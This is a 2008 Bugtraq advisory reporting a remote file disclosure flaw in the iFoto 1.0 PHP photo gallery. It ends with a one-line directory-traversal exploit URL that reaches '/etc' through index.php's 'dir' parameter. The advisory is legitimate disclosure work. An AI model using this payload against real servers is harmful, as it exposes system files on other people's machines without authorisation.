iFoto, CSS-based GD2 photo gallery <= 1.0: Remote File Disclosure Vulnerability
- To: bugtraq@xxxxxxxxxxxxxxxxx, bugtraq-owner@xxxxxxxxxxxxxxxxx
- Subject: iFoto, CSS-based GD2 photo gallery <= 1.0: Remote File Disclosure Vulnerability
- From: Pepelux <pepelux@xxxxxxxxxxxx>
- Date: Sun, 5 Oct 2008 00:59:40 +0200
- Dkim-signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:sender :to:subject:mime-version:content-type:content-transfer-encoding :content-disposition:x-google-sender-auth; bh=cX+qByRnQmDadIRPAoKEYBc+PTl4EFkftTXbaToVXmA=; b=H5RtBx2hm4/kcIffrmZFmGS6sKWogs+vOdH51WF5T4xkSu4Rzu66OFeGm57BQYbsxG iKO//F5ZR3A74qFQZppgI1VAZufQRPULDRj4ohelgYsVNxIANqjRdUVBGC9XQk/l3Pag TF68dHQ8l5PC6qTv0SlxuyG8XHgGSY9v0efa4=
- Domainkey-signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:sender:to:subject:mime-version:content-type :content-transfer-encoding:content-disposition:x-google-sender-auth; b=wfCrKHk08w2IcdcuUYIbtWbWUTIJr5/yGs55kelpyRicPPTxw2gWyqnp2cQTINThjE FboCioRvQuqwSdFDQbY7zxXdhJDQrBha3HANHYtxNJkdjFNG2wncf+VAz98VQ3EIHt4Q xUyfuf3gDhsiIjn12X8OlpP47UQSuJf21Ynk0=
- List-help: <mailto:bugtraq-help@securityfocus.com>
- List-id: <bugtraq.list-id.securityfocus.com>
- List-post: <mailto:bugtraq@securityfocus.com>
- List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
- List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
- Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm
- Sender: pepeluxx@xxxxxxxxx
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
iFoto, CSS-based GD2 photo gallery <= 1.0: Remote File Disclosure Vulnerability
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
$ Program: iFoto, CSS-based GD2 photo gallery
$ File affected: index.php
$ Version: 1.0
$ Download: http://sourceforge.net/projects/ifoto/
Found by Pepelux <pepelux[at]enye-sec.org>
eNYe-Sec - www.enye-sec.org
-- Description (by the author's page) --
This is yet another Web-based PHP photo gallery called, iFoto. iFoto use 90%
CSS-based layout and can be customize to use normal HTML layout. Using PHP
and GD2 library make this application an awesome yet simple web-based photo
gallery!
-- Exploit --
http://localhost/?dir=../../../../etc